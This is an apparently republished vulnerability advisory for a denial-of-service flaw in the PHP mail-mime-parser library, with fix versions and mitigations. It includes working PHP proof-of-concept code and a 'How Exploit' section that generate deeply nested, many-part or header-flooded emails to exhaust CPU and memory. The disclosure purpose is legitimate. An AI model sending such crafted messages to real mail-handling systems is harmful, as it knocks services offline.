Listen to this Post
CVE-2026-61816 is an uncontrolled resource consumption and algorithmic complexity vulnerability (CWE-400) that affects any application parsing untrusted email with the zbateson/mail-mime-parser library, starting from version 2.0.0 and prior to versions 3.0.6 and 4.0.2. The vulnerability manifests through three independent parsing paths that are super-linear in cost, meaning a byte-size cap on the caller side does not bound the actual work performed. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory, leading to an out-of-memory kill and enabling denial of service. The parse operation is lazy, but the cost is paid on the first `getAllParts()` call or content read. The first path involves deep multipart nesting, where `MimeParserService::findContentBoundary()` tests each content line against the current part and every ancestor via the recursive ParserMimePartProxy::setEndBoundaryFound(), so a nesting depth of D costs 1 + 2 + … + D comparisons; a ~600 KB message nested ~10,000 deep does not finish parsing in a minute. The second path involves many sibling parts, where `PartChildrenContainer::add()` appends each child with array_splice($children, count($children), 0, [$part]), which reindexes the entire array on every call; the same container backs UUEncoded beginparts via NonMimeParserService. The third path involves unbounded header buffering, where `HeaderParserService::parse()` reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed. The vulnerability was fixed in versions 4.0.2 and 3.0.6, which add configurable limits on multipart nesting depth and on header count / total header size, recording a parse error past the threshold rather than throwing, and change sibling append to O(n). Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. Versions prior to 2.0 used a different parser and are not affected by all three paths. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host. The vulnerability was found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.
DailyCVE Form:
Platform: PHP library
Version: 2.0.0-3.0.5, 4.0.0-4.0.1
Vulnerability : CWE-400
Severity: High (7.5)
date: 2026-09-24
Prediction: 2026-09-24
What Undercode Say:
composer require zbateson/mail-mime-parser
<?php
require 'vendor/autoload.php';
use ZBateson\MailMimeParser\MailMimeParser;
function nestedMessage(int $depth): string {
$head = ''; $tail = '';
for ($i = 0; $i < $depth; $i++) {
$head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
}
return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
}
function siblingMessage(int $n): string {
return "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
}
function headerMessage(int $n): string {
return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
}
function measure(string $label, string $raw): void {
$t = microtime(true);
count((new MailMimeParser())->parse($raw, false)->getAllParts());
printf("%-22s input=%5.2f MB time=%6.2f s peak=%6.1f MB\n",
$label, strlen($raw) / 1048576, microtime(true) - $t,
memory_get_peak_usage(true) / 1048576);
}
measure('nesting depth=2000', nestedMessage(2000));
measure('siblings=50000', siblingMessage(50000));
measure('headers=300000', headerMessage(300000));
php -d memory_limit=2048M poc.php
nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB
How Exploit: (Educational Purposes!)
$head = '';
$tail = '';
$depth = 10000;
for ($i = 0; $i < $depth; $i++) {
$head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n";
}
$raw = $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail;
$parser = new MailMimeParser();
$parser->parse($raw, false)->getAllParts();
$n = 100000;
$raw = "Content-Type: multipart/mixed; boundary=b\r\n\r\n"
. str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n";
$parser = new MailMimeParser();
$parser->parse($raw, false)->getAllParts();
$n = 500000;
$raw = "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n";
$parser = new MailMimeParser();
$parser->parse($raw, false)->getAllParts();
Protection: from this CVE
composer require zbateson/mail-mime-parser:^4.0.2
composer require zbateson/mail-mime-parser:^3.0.6
$parser = new MailMimeParser(); $parser->setMaxNestingDepth(100); $parser->setMaxHeaderCount(1000); $parser->setMaxHeaderSize(102400);
php -d memory_limit=256M -d max_execution_time=30 script.php
Impact:
Uncontrolled resource consumption leading to denial of service via CPU exhaustion or memory exhaustion (out-of-memory kill) when parsing crafted untrusted email messages under 2 MB.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
